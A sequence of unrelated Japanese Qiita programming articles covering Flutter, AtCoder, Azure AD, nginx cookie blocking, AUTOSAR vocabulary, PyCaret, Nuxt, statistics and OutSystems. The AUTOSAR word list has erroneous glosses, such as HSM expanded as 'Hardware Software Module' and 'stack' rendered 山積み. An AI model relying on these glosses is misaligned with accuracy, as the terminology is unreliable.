OmniAICreator/Qiita-1.07M huggingface dataset:
Flutter ScaffoldにSingleChildScrollViewはダメ

# はじめに
![スクリーンショット 2022-05-03 14.44.26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/167220/ace5458c-9785-025c-c4b9-f4f6d3a0b2b1.png)

```console
The following assertion was thrown during layout:
A RenderFlex overflowed by 16 pixels on the bottom.
```

よくあるエラーに遭遇し、「`SingleChildScrollView`で囲むの忘れてた〜」くらいの気持ちで👇のように修正

```dart
@override
  Widget build(BuildContext context) {
    final UserProvider userProvider = Provider.of<UserProvider>(context);
    SizeConfig().init(context);
    return SingleChildScrollView(
      child: Scaffold(
        appBar: AppBar(
          title: Text(
            '投稿',
            style: Theme.of(context).textTheme.headline6,
          ),
          backgroundColor: primaryColor,
        ),
        body: Container(
          padding: EdgeInsets.symmetric(
            vertical: SizeConfig.blockSizeVertical! * 5,
            horizontal: SizeConfig.blockSizeHorizontal! * 5,
          ),
          child: Form(
// 以下つづく
```

# 高さが無限と言われた

```console
The following assertion was thrown during performLayout():
RenderCustomMultiChildLayoutBox object was given an infinite size during layout.

This probably means that it is a render object that tries to be as big as possible, but it was put inside another render object that allows its children to pick their own size.
The nearest ancestor providing an unbounded height constraint is: _RenderSingleChildViewport#1d861 NEEDS-LAYOUT NEEDS-PAINT NEEDS-COMPOSITING-BITS-UPDATE
The constraints that applied to the RenderCustomMultiChildLayoutBox were: BoxConstraints(w=375.0, 0.0<=h<=Infinity)
The exact size it was given was: Size(375.0, Infinity)

See https://flutter.dev/docs/development/ui/layout/box-constraints for more information.

The relevant error-causing widget was
Scaffold
lib/…/post/post_screen.dart:60
When the exception was thrown, this was the stack


════════ Exception caught by rendering library ═════════════════════════════════
RenderPhysicalModel object was given an infinite size during layout.
The relevant error-causing widget was
Scaffold
lib/…/post/post_screen.dart:60
════════════════════════════════════════════════════════════════════════════════
```

こんな感じで長文のエラーメッセージをいただきました。。。

# ScaffoldにSingleChildScrollViewはダメ
めっちゃ盛大に勘違いしてました。。

`SingleChildScrollView`を`Scaffold`にやっているではありませんか:scream:

👇のように修正

```dart
@override
  Widget build(BuildContext context) {
    final UserProvider userProvider = Provider.of<UserProvider>(context);
    SizeConfig().init(context);
    return Scaffold(
      appBar: AppBar(
        title: Text(
          '投稿',
          style: Theme.of(context).textTheme.headline6,
        ),
        backgroundColor: primaryColor,
      ),
      // Scaffoldではなくbodyの中のContainerにSingleChildScrollViewを適応
      body: SingleChildScrollView(
        child: Container(
          padding: EdgeInsets.symmetric(
            vertical: SizeConfig.blockSizeVertical! * 5,
            horizontal: SizeConfig.blockSizeHorizontal! * 5,
          ),
          child: Form(
            key: _form,
            child: Column(
              children: <Widget>[
// 以下つづく
```

勘違いしないように気をつけましょう！
**`Scaffold`は高さInfinityです**
B - Shiritori  AtCoder

## 問題
https://atcoder.jp/contests/abc109/tasks/abc109_b


## 回答
```Python

s = int(input()) 
w = [input() for _ in range(s)]

flag = True

if len(w) != len(set(w)):
  flag = False

for i in range(1,s):
  if w[i-1][-1] != w[i][0]:
    flag = False
    
print("Yes" if flag else "No")


```


## ポイント

```w[i-1][-1] != w[i][0]:```の部分で文字列内のアルファベットを抽出できる。
```[-1]```で一番後ろの配列を取得できる。
```[-2]```で後ろから2番目の配列を取得できる。

これが思いつかず。文字列のみの配列でも連想配列的に抽出できることを忘れていた。
【2021→2022版】ソフトウェアアーキテクチャ・設計トレンドの変化まとめ

## 概要
InfoQで毎年まとめているソフトウェアアーキテクチャ・設計トレンドの推移及びその変化をまとめてみた

## 変化
### Innovatorsから削除
過去数年間に渡って採用がなく、十分な革新がなかったために削除
- Open Application Model(OAM)
- RSocket & Reactive Streams

### Innovators内で表記変更
- Next-gen GraphQL → GraphQL Federation
    - 既存のGraphQL実装の上に構築するものに対して、企業が真っ先に受け入れる解釈であるため
- Data Gateways → Data + Architecture
    - DBAとアーキテクトの間のコラボレーション
    - Data Gatewaysも包含した表現へ

### Innovatorsへの新規追加
- eBPF(**e**xtended **B**erkeley **P**acket **F**ilter)
    - Linuxカーネルのソースコードを変更することなく、カーネルの持つさまざまな機能をフックすることでカーネルに対してプラグインのように機能拡張を実現する技術
    - Netflixのパフォーマンスエンジニア Brendan Gregg曰く「eBPFがLinuxへ行うことはJavaScriptがHTMLに行ったことと同じである」
    - 利用例：[Cilium](https://cilium.io/)、[Tracee](https://github.com/aquasecurity/tracee)



### Innovators → Early Adopters
- Dapr
- Design for security
- WebAssembly

### Early Adopters内で表記変更
- Architecture Elevator → Architecture Decision Records
    - > テキストベースの軽量なテンプレートを使用して、アーキテクチャ上の設計判断を記録する。軽量なアーキテクチャデシジョンレコード(Architecture Decision Records:ADR)は、実績のあるアーキテクチャ手法に対する開発者寄りのアプローチだ。設計判断を記録していくことで、それらを共有し分析することが容易になる。意思決定の履歴を残すことで、現在のアーキテクチャについてのコンテキストを、その過程と結びつけて提供できる。
    - > - Michael Keeling、島田浩二 訳、2019「Design It! プログラマーのためのアーキテクティング入門」、オライリー・ジャパン P302
    - 組織の様々なレベルでコミュニケーションをとる必要があるというアーキテクトに対する「アーキテクトエレベータ」の概念も包含




## 引用元
> ソフトウェアアーキテクチャと設計のInfoQトレンドレポート - 2021年4月
https://www.infoq.com/jp/articles/architecture-trends-2021/

> ソフトウェアアーキテクチャ・設計のInfoQトレンドレポート — 2022年4月
https://www.infoq.com/jp/articles/architecture-trends-2022/
springでjsonを簡易的に整形

springというかjacksonでjson文字列をとりあえず整形したい場合は```ObjectMapper#writerWithDefaultPrettyPrinter()```を使用する。

以下はjackson-2.13.2で確認。

```java
  public record SampleResponse(String first, String second, List<Integer> list) {
  }

  ...

  SampleResponse response = new SampleResponse("aa", "bb", List.of(1,2,3));  
  ObjectMapper mapper = new ObjectMapper();
  String json = mapper.writerWithDefaultPrettyPrinter().writeValueAsString(response);
```

出力は下のような感じ。

```json
{
  "first" : "aa",
  "second" : "bb",
  "list" : [ 1, 2, 3 ]
}

```

# 参考

https://mkyong.com/java/how-to-enable-pretty-print-json-output-jackson/
Azure AD及びIDの基本オペレーション

## はじめに
本記事は、Microsoft AzureのAzure AD及び、ID関連の基本的なオペレーションを纏めた記事となる。
Microsoft Azureを学習する上でAzure AD及びID関連の理解は必須であり、読者の助けになれば良いと考えている。

本記事の対象はMicrosoft Azureの初学者、及びAzureADに触ったことはあるが、理解が乏しい方が対象となる。
また、実務でAzureADでデバイスを管理している方も対象とする。

また、筆者の簡単な自己紹介をする。
某ISPのSI部門で働く若手エンジニア(20代半ば)である。
技術領域はNW(L2・L3(Cisco CatalystやNexus)/FW/LB/BGP)・Server(Linux/時々Windows)・ストレージ・オンプレ(IPMI等のサーバ管理)・クラウド(主にAzure)・仮想基盤(vSphere)・自社サービス導入とインフラ領域で多岐にわたる。(※逆に専門と言えるものがないのが一つの悩みではある..)

本題に戻る。
Azureに関しては、既にWeb上(Qiita含む)には本テーマに関する優れたコンテンツも多くある。
必要に応じて、気になったことに関しては、更なる調査や検証は実施してもらいたい。
そのため、私自身の言葉で説明をしつつ公式ドキュメントをもとに関連のURLを掲示した纏めとして本記事を記載する。

## 各種オペレーションパターン

### 追加デバイスを管理者にする方法
Azure AD Premiumを利用しているテナントにユーザ(hogehoge@hoge.com)を追加すると仮定する。
追加したユーザを「すべてのAzure AD参加済みデバイスのローカル管理者」にする場合は、Azure Portal の [デバイス] ページで管理する。管理者にするオペレーションは定期的に発生するため、頭の中に入れておきたい。
＃##### 参照先:
https://docs.microsoft.com/ja-jp/azure/active-directory/devices/assign-local-admin#manage-the-device-administrator-role

### 外部ユーザをAzure ADテナントへ招待する方法
外部のベンダーをAzure ADテナントにゲストユーザーとして招待するケースも定期的に発生する。
その場合、外部コラボレーション設定から、ゲストの招待を許可するようにすることで可能となる。
詳細な権限等は設定すること。
###### 参照先:

https://docs.microsoft.com/ja-jp/azure/active-directory/external-identities/external-collaboration-settings-configure


### Azure ADにユーザ端末が登録・許可されない場合のトラブルシューティング
前提として、ユーザが元々、他のデバイス端末でAzure AD参加ができている場合とする。
デバイスが既に参加させることができているため、デバイス参加自体は許可されていることがわかる。

そのため、確認点はユーザーが参加させることができる最大デバイス数が上限に達しているか確認する必要がある。
デフォルトはデバイス数が50となる。最大100まで増やすことができる。
デバイス数50はPC・スマホをそれぞれ所持しており、AD参加させる必要がある場合、25人分となる。
上限に達するケースは多くありそうだ。

###### 参照先:
https://docs.microsoft.com/ja-jp/azure/active-directory/devices/device-management-azure-portal#configure-device-settings

### M365グループの有効期限ポリシーの設定で一時的にアクセス権付与する方法
Microsoft 365グループの有効期限ポリシーを設定し、一時的にMicrosoft 365 の権限を与えたい場合や、非アクティブなグループを削除する運用を図ることが可能。
前提として、
- Azure ADテナントに参加していること
- M365テナントに参加していること

期限を設定することで期限内に利用できるMicrosoft 365の対象サービスは下記となる。
- SharePoint 
- Outlook
- Teams
- Yammer

方法としては下記のいずれかのグループを作成し、ユーザを登録する。
- 対象ユーザを割り当て済みのM365アカウントグループ
- 動的で割り当て済みのM365アカウントグループ

注意点として、有効期限を設定できるのは、M365グループのみであり、Azure ADグループでは有効期限を設定することはできない。


###### 参照先:
https://docs.microsoft.com/ja-jp/microsoft-365/solutions/microsoft-365-groups-expiration-policy?view=o365-worldwide

## 終わりに
簡単ではあるが、 AzureのAzure AD及び、ID関連の基本的なオペレーションを纏めた。
日々の運用等に落とし込むと、本記事で記載した以外にも様々なパターンがある。
基本的なことや前提・制約を踏まえて、実際にどのようにオペレーションすれば良いかを考えていく必要がある。
今後もAzureを中心に記事を更新する。

コメントなどは気軽に受け付けているので、お待ちしております。
[font][WSL] 万能フォント cascadia code に乗り換えた

これまで`migu 1m`使ってきましたが、zshシェルでかっこいいプロンプトテーマ入れると表示できない記号があったりするので、この度マイクロソフトの `cascadia code` or `cascadia mono`　へ乗りかることにしました。いままでお世話になりました。ありがとう！

https://github.com/microsoft/cascadia-code
1次遅れ系システムに対しての離散系PI制御のボード線図をひいてみた

# 行ったこと

離散システムの制御周期を荒くしたときにどこまで荒くすると制御できなくなるのか知りたくなったので、表題の件について実施。システムの対象はRL直列回路。
制御ブロック図は以下の通り
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/700308/004a6aa2-51e4-a91e-5ca9-b99d667ca061.png)

制御周期Tsを1/100000,1/10000,1/10,1と荒くしたときのボード線図を示す。
  
Hz1e6：1/100000[s]
Hz1e4：1/10000[s]
Hz1e1：1/10[s]
Hz1  ：1[s]
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/700308/742fa937-5bfa-3013-d8cd-c498a6aed2e9.png)

また、Ts = 1[s]と1/1000000[s]のときの電流ステップ指令を与えたときの電流応答波形を示す。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/700308/991a52a1-c316-b31f-d775-10a6afc2e388.png)

# わかったこと
制御周期が荒い(長い)程ゲイン線図は低周波帯域側で0[db]を上回りやすくなってきている。これはオーバシュートしやすさを表している。位相線図は低周波帯域側で180[deg]を下回りやすくなっている。つまり位相余裕がなくなっている。実際、Ts=1[s]のとき、ステップ指令に対して応答が遅れて(位相が遅れているため)おり、オーバシュート(0[db]を超えているため)が発生し制御できていないことがわかる。
【論文要約】Paired Learners for Concept Drift

レコメンドシステムや需要予測のモデルを使い続けている場合、モデルの予測精度の劣化が問題になります。このような経時変化を **concept drift** と呼び、これに対応するために、モデルを学習するデータの期間を更新する必要があります。

ストリーミングデータにおける、学習期間の最適化のアルゴリズムを提案した論文として「Paired Learners for Concept Drift」があります。2022/05/02時点で被引用数160と十分な支持を集めているアプローチです。

今回はこの論文を要約してみたいと思います。

## 論文の概要
```
- タイトル：
    Paired Learners for Concept Drift
- 著者：
    SH Bach, MA Maloof
- 掲載年：
    2008年
- 被引用数：
    160 @2022/05/02 確認
- URL：
    https://ieeexplore.ieee.org/abstract/document/4781097/
```

---

## An algorithm for paired learning

この論文が提案したのは、以下の2つの学習器を組み合わせることで学習期間を最適化することです。

- **the stable learner(安定学習器) $S$**:
    処理中の時点 $t$ で予測に用いているモデル。
- **the reactive learner(反応学習器) $R_w$**:
    直近から長さ $w$ の期間のデータを学習したモデル。

このアルゴリズムの概要は、普段は $S$ を使って予測を行い、 $S$ と $R_w$ の予測誤差を比較し、 $R_w$ の予測精度が十分に良いと判断されたら、 $S$ を $R_w$ に置き換えることです。

## アルゴリズムで用いる記号の説明

### INPUT

このアルゴリズムの入力となる、ハイパーパラメータや学習データを以下のように定義します。


- $\vec{x}_t, y_t$ :
    期間$[1, T]$までのストリーミング学習データ。
- $w$:
    反応学習器$R_w$が学習するデータの、直近からの長さ。
- $\theta$:
    既存の安定学習器を反応学習器に置き換える際の閾値設定。

これらのパラメータから、長さ $w$ の循環リスト $C$ を用意しておきます。循環リストは、通常のリストと異なり、リストの最後の次は先頭に戻って処理が行われます。初期状態では $C$ のすべての値は0に設定されています。

このアルゴリズムは以下のように定義されます。

![algorithm1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/429933/ae3346d1-cfb9-03b3-88cc-b3653c670b86.png)


このアルゴリズムが各行でどのような処理をしているのかを以下にまとめます。

- **9-10行目**:
    アルゴリズムの予測出力として、$S$で予測を行う。
- **22-23行目**:
    すべての繰り返し処理の最後には、追加された新しいインスタンスで、 $S$ と $R_w$ を学習更新する。
- **12-13行目**:
    時点$t$のインスタンスで、$S$が誤った予測をし、$R_w$が正しい予測をした場合、長さ$w$の循環リストの　$t$　ビットを1にする。（注意：例えば、長さ5の循環リストの7ビット目にアクセスすると、実際は循環リストの7%5=2ビット目にアクセスする）
- **17-20行目**:
    循環リスト $C$ の平均値が $\theta$ を超過しているかを確認します。超過していれば、concept drift による $S$ の精度悪化が発生したと見なし、$S$ を $R$ に置き換えます。その後、新しい $R$ を再生成します。


---

以上で、concept drift によるモデルの精度劣化に対処するための、学習期間の切り替え判断をおこなうアルゴリズムを紹介しました。

この記事が、なにかの参考になれば幸いです。
途中でリモートリポジトリの名前を変更した時にやること

今回はGitに関するちょっとしたTips。
Githubで新しくリポジトリを作ったものの、「この名前ちょっと違うなあ」と名前を変えた時に実行したことをまとめました。

### ローカルリポジトリにも名称変更を反映させる
リモートの方だけで名前を変えても意味がないので以下のコマンドで反映させました。
```git:git
git remote set-url origin 名称変更後のURL
```
`git remote -v`で反映されたことを確認する。
laravel で before_save , after_save

DBに保存する前に、初期値を入れたい。
cakephp なら before_save , after_save と言われていた。

参考
https://qiita.com/b_a_a_d_o/items/ca06024d80499f1ece14

# 方法

新規保存時に、位置情報がなければデフォルトで位置情報をセットして保存。

```user.php

//    フックメソッド
    protected static function boot()
    {
        parent::boot();

        self::creating(function($model){

            if (!isset($model->location)){
                $model->location = \DB::raw("GeomFromText('POINT(0 0)')");
            }

            if (!isset($model->station_location)){
                $model->station_location = \DB::raw("GeomFromText('POINT(0 0)')");
            }

        });

    }

```

phpmyadminだと位置情報の初期値を入れることができず、
新規保存する際に位置情報が無いとエラーが出る。
[nginx] Cookie でアクセスを制限する

nginx で、訪問者に Cookie を食わせ識別子にして、アクセス制限を行う。IP 制限だけでは難しく、特定のユーザをダイレクトに弾きたい場合などに。

## ngx_http_userid_module モジュールを使う
http://nginx.org/en/docs/http/ngx_http_userid_module.html

## 基本設定

### トラッキングの設定
```
server {
	userid          on;
	userid_name     uid;
	userid_domain   yourdomain.com;
	userid_path     /;
	userid_expires  30d;
}
```
uid や expires はお好みで。


### アクセスログの設定 
適当な箇所に `$uid_set` `$uid_got` を挿入する。この記述だけで、発行された識別子がアクセスログに記録されていく。どちらにも同じ書式の値が入るが、初回のアクセスには uid_set に、以降は uid_got に値が入る。

```
http {
	log_format deflate '$remote_addr - $remote_user [$time_local] "$request" '
                       '$status $body_bytes_sent "$http_referer" "$http_user_agent" '
                       '"$uid_set" "$uid_got"';
}
```

> $uid_set
>     クッキー名と送信したクライアントの識別子
>
> $uid_got
>     クッキー名と受け取ったクライアントの識別子

ドキュメントによると、初回に発行した識別子を送信し (uid_setに投入)　Cookie にセット、以降は Cookie から識別子を受信する  (uid_gotに投入) 。

### アクセスログの例
```
0.0.0.0 - - [00/Jan/0000:00:00:00 +0000] "GET /index.html HTTP/1.1" 200 100 "" "Mozilla/5.0" "-" "uid=XXXXXXXXXXXXXXXXXXXXXX"
```
`"uid=XXXXXXXXXXXXXXXXXXXXXX"` が識別子である。なお、ブラウザのデベロッパーツールなどで付与されている Cookie を見ると、これとは異なる文字列が記述されている。

## 特定のキーを持っているユーザをdenyする

アクセスログなどからユーザの識別子が判明したら、後はそれを if や map などを用いて料理する。

```
server {
	if ($uid_got = "uid=XXXXXXXXXX") {
         return 403;
    }
}
```

## 補足
同じブラウザを使っていれば（同じ Cookie を持っていれば）　IP アドレスが変化しても追うことができる。 Cookie なのでブラウザを切り替えたり Cookie を削除されると ID は変わってしまうが、ユーザの行動次第で追跡もしやすくなる。
Requirements on Cryptography, No.889, AUTOSAR 21-11 (25)  AP

Requirements on Cryptography, No.889, 2021-11

https://www.autosar.org/fileadmin/standards/adaptive/21-11/AUTOSAR_RS_Cryptography.pdf


AUTOSAR R21-11(0) 仕様ダウンロード一覧。単語帳。参考文献資料作成

https://qiita.com/kaizen_nagoya/items/9b3a1b9b8d1e8d7e288e

# 用語(terms)

|term| Description|
|:--|:--|
|HSM| Hardware Software Module
|PKI| Public Key Infrastructure
|SHE| Secure Hardware Extension
|TPM| Trusted Platform Module

## 英日
日本語は仮訳

|no.|count|word|日本語|
|:----|:----|:----|:----|
|1|243|the|その|
|2|198|rs_crypto_|rs_crypto_|
|3|182|of|の|
|4|118|rs_main_|rs_main_|
|5|101|crypto|暗号|
|6|96|key|鍵|
|7|94|shall|しなければならない|
|8|94|stack|山積み|
|9|89|and|と|
|10|89|to|に|
|11|74|a|a|
|12|67|use|使う|
|13|61|for|にとって|
|14|57|material|材料|
|15|56|autosar|AUTomotive Open System Architecture(短縮名)|
|16|55|in|の|
|17|54|support|対応|
|18|52|keys|鍵|
|19|49|be|なれ|
|20|49|description|説明|
|21|46|c|c|
|22|46|dependencies|依存関係|
|23|45|case|場合|
|24|45|d|d|
|25|45|draft|下書き|
|26|45|rationale|理論的根拠|
|27|45|supporting|対応|
|28|44|requirements|要件|
|29|39|or|また|
|30|37|cryptographic|暗号|
|31|37|document|資料|
|32|36|on|の上|
|33|35|cryptography|暗号化|
|34|34|application|応用|
|35|31|r|r|
|36|30|interfaces|界面|
|37|29|ap|adaptive platform(短縮名)|
|38|28|autosar_rs_cryptography|autosar_rs_cryptography|
|39|28|can|できる|
|40|28|id|identifier, 識別子(短縮名）|
|41|27|should|したほうがいい|
|42|25|provide|提供|
|43|24|object|物体|
|44|22|by|に|
|45|22|some|いくつかの|
|46|21|from|から|
|47|20|information|情報|
|48|20|primitives|初期の|
|49|20|symmetric|対称|
|50|19|usage|利用方法|
|51|19|version|版|
|52|18|are|それは|
|53|18|asymmetric|非対称|
|54|18|is|は|
|55|18|secure|安全|
|56|17|only|それだけ|
|57|17|slot|枠|
|58|16|an|と|
|59|16|applications|応用|
|60|16|parameters|引数|
|61|16|with|と|
|62|15|access|接続|
|63|15|algorithm|算法|
|64|15|domain|領域|
|65|15|it|それ|
|66|15|this|これ|
|67|15|used|使用済み|
|68|14|any|どれか|
|69|14|different|違う|
|70|13|secret|秘密の|
|71|13|that|それ|
|72|12|api|application programming interface(短縮名)|
|73|12|data|与件|
|74|12|management|管理|
|75|12|objects|対象|
|76|12|storage|記録|
|77|12|values|値|
|78|11|slots|枠|
|79|10|certificate|証明書|
|80|10|control|制御|
|81|10|encryption|暗号化|
|82|10|private|私的|
|83|10|release|公開|
|84|10|required|必要|
|85|10|session|節|
|86|10|specification|仕様|
|87|9|decryption|復号化|
|88|9|have|持ってる|
|89|9|implementation|実装|
|90|9|pki|Public Key Infrastructure（短縮名）|
|91|9|possibility|可能性|
|92|9|specific|明確|
|93|9|their|彼らの|
|94|9|these|これらは|
|95|9|using|を使用して|
|96|8|at|で|
|97|8|content|内容|
|98|8|e|e|
|99|8|functional|機能的|
|100|8|functionality|機能性|
|101|8|if|もしも|
|102|8|its|これは|
|103|8|mechanism|機構|
|104|8|platform|土台|
|105|8|public|公衆|
|106|8|software|ソフトウェア|
|107|8|together|一緒|
|108|8|type|型|
|109|8|work|仕事|

# 参照(reference)

Glossary も　参考に入れましょう。

https://www.autosar.org/fileadmin/standards/foundation/21-11/AUTOSAR_TR_Glossary.pdf


[1] Standardization Template,  AUTOSAR_TPS_StandardizationTemplate
[2] Requirements on AUTOSAR Features, AUTOSAR_RS_Features

 ＜この記事は個人の過去の経験に基づく個人の感想です。現在所属する組織、業務とは関係がありません。＞

# 文書履歴(document history)
ver. 0.01 初稿 　20221202
Git conventional commitまとめ

# はじめに
gitのcommitメッセージについて、開発チーム内で規約などを定めているでしょうか？
私は前職の開発チームでは、メンバー間でgitのcommitメッセージに関して規約などを定めていない中で開発を進めておりました。
一方で現職の開発チームでは、社内の開発チームのメンバー間で共通された規約を用いてcommitメッセージを書くことが定められており、commitメッセージに関してチーム内で共通のフォーマットを用いて運用を行うことに一定のメリットがあることに気がついたので記事にまとめます。

# conventional commit
社内の開発チーム内では全チームで共通して、基本的には `conventional commit` に従ってコミットメッセージを残しております。

https://www.conventionalcommits.org/en/v1.0.0/

# 業務内で頻繁に利用するcommitメッセージのフォーマット

```
chore: some message
chore(module name): some message
```

```
feat: some message
feat(module name): some message
```

 # example

```
feat(backend): implement XxxService
chore(refactor): apply misc refactoring
chore(doc): add getting started section to README.md
```

# チーム内で共通の規約を定めることのメリット
本番環境での障害発生時に、commitメッセージからリポジトリの変更履歴を辿ることが容易になることが考えられます。
PyCaret ImportError: Missing optional dependency 'Jinja2'

# 背景

GW直前の4月末まで正常動作していたPyCaret環境。
5月に入って改めて触ったところ、ソース自体は変更していないのですがエラーで動かず。
解決までに少し時間を溶かしてしまったので、皆様の共有までにメモとして残します。

# エラー詳細
## 再現環境

- Google Colab 標準ランタイム環境（非GPU）
- PyCaretバージョン : 2.3.10

## エラー再現手順

以下コマンドで pycaret をインストールする。

```
!pip install pycaret
```

ClassificationやRegressionのモジュールをImportしようと試みる。
```
from pycaret.regression import *
```

## エラーメッセージ
上記手順を行うと、以下のようなエラーメッセージが出てモジュール読み込みに失敗します。

```
ImportError
Traceback (most recent call last)
<ipython-input-1-************> in <module>()
----> 1 from pycaret.regression import *

5 frames
/usr/local/lib/python3.7/dist-packages/pandas/compat/_optional.py in import_optional_dependency(name, extra, errors, min_version)
    116     except ImportError:
    117         if errors == "raise":
--> 118             raise ImportError(msg) from None
    119         else:
    120             return None

ImportError: Missing optional dependency 'Jinja2'. DataFrame.style requires jinja2. Use pip or conda to install Jinja2.
```

# 解決策

根本的な原因まではわかっていないですが、Jinja2を要求している pandas-profiling のバージョンを一つ下げることで解消できます。
pipコマンド実行後は、ランタイムを再起動してください。

```
!pip install pandas-profiling==3.1.0
```

# 想定される原因

pandas-profilingさんが、丁度先日（2022/05/02）にv3.2.0のリリースをしているので、そこで何かしらの依存関係が更新されて今回のImport Errorになったのかなと想像しています。
濡れ衣だったらゴメンナサイ...。

https://github.com/ydataai/pandas-profiling/releases/tag/v3.2.0

ご参考になれば幸いです。
nuxtでヘッダーとメタをいじる

## 自分の環境
- OS
  - windows11
- node.js
  - v16.13.2
- vue.js
  - v2.15.8
- nuxt.js
  - v2.6.14
- create-nuxt-app
  - v4.0.0

# ヘッダーのtitleをいじってみる
プロジェクトのルートにある`nuxt.config.js`にあるオブジェクトをいじります。
`head.ttile`にHello Nuxt入れるとtitleが以下のものに変更されます。
同様にmetaやcssも編集することができます。

````nuxt.config.js
  head: {
    title: 'Hello Nuxt',
    htmlAttrs: {
      lang: 'en'
    },
    meta: [
      { charset: 'utf-8' },
      { name: 'viewport', content: 'width=device-width, initial-scale=1' },
      { hid: 'description', name: 'description', content: '' },
      { name: 'format-detection', content: 'telephone=no' }
    ],
    link: [
      { rel: 'icon', type: 'image/x-icon', href: '/favicon.ico' }
    ]
  }
````
統計的推定と検定をPythonで解く「単回帰分析」(2022.5.3)

# 背景
前回「一元配置分散分析」をしたので、二元配置分散分析をするかと思ったのですが、パーリンノイズと単回帰分析で迷った末、キリの良い所で単回帰分析からすることにしました。統計的推定、統計的検定、一元配置分散分析、単回帰分析で統計検定2級のお勉強は一旦終わりになりそうです。具体例を見ていくことはすると思います。

今回は「[とけたろう(2020.5)、単回帰分析【中学の数学からはじめる統計検定２級講座第17回】、Youtube](https://youtu.be/ETPNp6H3kAk)」を使わせて頂いています。

<b>前回の記事</b>
[統計的推定と検定をPythonで解く「統計的仮説検定（一元配置分散分析）」(2020.5.2)](https://qiita.com/tan0ry0shiny/items/4c021fa06545a0ac56f2)

# 目的:回帰式の使い方を知る
まずは、回帰式の使い方を知ることからです。それに付随して回帰分析で使われる用語を把握していきたいと思います。

# 問題
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2496939/179dbf86-0769-9c15-f539-fabad061ec77.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2496939/1cb6d043-390c-bf60-4015-14494952332e.png)






# 解答
## どういう問題か（問題の分類）
統計検定2級で問われている単回帰分析の内容は難しい物ではない様です。単回帰分析で出てくる統計量を求められるように出来れば良さそうです。2級の範囲ではありませんが重回帰分析もありますので、これをベースに回帰分析の理解を深めたいです。

## どのように解けるか（概要）
単回帰分析で出てくる回帰式や統計量を求める式に当てはめる。

### どのように解けるか(Python)

### どのように解けるか（解法）
今回も、提示されている情報を元に一つずつ答えを求めていきます。データがあったり作れたりすれば、Pythonの```statsmodels```で回帰分析出来るみたいですが、私の今の能力ではそれは出来ないので割愛します。そうしてしまうと、Pythonというより本当に手計算になってしまうので、今回はPythonは無しにしたいと思います。

まずは、（１）でt値を求めるには「回帰係数/標準誤差」の様です。つまり、
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2496939/cc056031-84c8-802b-0309-80197f41ebc7.png)
となります。

次に（２）は回帰式に当てはめていきます。$y=a+bx$の$a,b$にはそれぞれ切片とxの回帰係数が入ります。計算すると下の様になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2496939/9a943225-4054-3003-419d-a7d088f95fd3.png)

最後に（３）の問題です。これは、「残差平方和を残差平方和の自由度で割ると、誤差項の分散の不偏推定値になる」事を使います。詳細は以下に記載します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2496939/9da02f28-d3c0-a72e-a38a-1d5342b50055.png)

# 参考
1. [とけたろう(2020.5)、単回帰分析【中学の数学からはじめる統計検定２級講座第17回】、Youtube](https://youtu.be/ETPNp6H3kAk)
# 感想
今回は単回帰分析を行いましたが、単に統計検定2級を簡単になぞるだけになってしまいました。一応、統計検定2級の範囲を網羅した気になっていますが、その時々で準1級まで調べる事が多々ありました。特に一元配置分散分析や単回帰分析ではチラッと入るだけで、面白い所は準1級でやるような印象を持ちました。私にとってはそれが余計な混乱になり、記事の作成が遅くなったり、中途半端になったりしている気がします。次は趣向を変えてパーリンノイズをやってみたいと思っています。

#次の記事
次回は、パーリンノイズの予定です。
[OutSystems]EntityのCreate時に複数のProcessを起動できる

BPTは、Launch<Process名>Process Actionを使う他に、EntityのCreateを起点に起動することもできる。
1つのEntityのCreateを起点に複数のProcessを起動することができれば、BPTをイベントブローカーとして使うこともできるので試してみる。

# 環境
Personal Environment(Version 11.15.0 (Build 34858))
Service Studio(Version 11.14.14)

# 実現イメージ
以下の通り。
①Pubモジュールで画面入力を元にEntityに1レコード追加する
②複数のProcessをこのCreateを起点に起動させる。各Processは起動したことの印としてEntityの属性を含めたログを記録する
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/332987/522ba234-99a0-944f-ecbe-ef4bd39b0954.png)

# 実装例
## Entityを定義
上の実現イメージの通りName属性（Text型）だけ持つEntityを作成する。
他のモジュールで参照するので、Public=Yesに設定する。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/332987/45658416-2996-0c42-d733-e90a6e3fa40f.png)
また、Processの起点として設定するには、Expose Process Eventsをオンにして置く必要がある（デフォルト。このダイアログは、「More...」をダブルクリックすると開く）。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/332987/bda18b3c-bb8e-269c-d942-af576c6f48a0.png)

## Entityレコードを登録する処理を作成
これは、レコードを登録すればなんでもいいので、省略。
UI FlowにEntityをドラッグ＆ドロップするとできる標準のフォームで十分。

## Processを定義
実現イメージでは別モジュールに配置しているので、新しいモジュールを作成する。
まず、Ctrl+Q等でManage Dependenciesダイアログを開き、上で作成しておいたEntityへの参照を追加する。

Service StudioのProcessesタブのProcessesフォルダを右クリック　→　Add ProcessでProcessを作成する。
次に、作成したProcessを選択し、右下に表示されるプロパティからLaunch Onで参照したEntityのCreateイベントを選択する（この例では、EntityをEventBrokerと名付けたため、CreateEventBrokerを選択している）。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/332987/ce92bbd3-bd8a-99ff-a691-6f7985559184.png)

作成したProcessは動いたことだけ確認すれば良いので、実現イメージの通り、Automatic Activity1つだけを配置。
Automatic Activityの実装は実現イメージの通り、
1. Launch Onを指定すると自動追加されるProcessのInput Parameter（EventBroker EntityのId型）を使って対象Entityを取得
1. 取得したレコードの情報を(System)のLogMessageでログ出力する

とした。
実装が終わったら、モジュールをクローンして複数同じ設定のモジュールを用意する。

# テスト
実行すると、以下のGeneral Logの通り、1レコード追加を起点にEventSubTest1とEventSubTest2が起動し、ログを記録している。
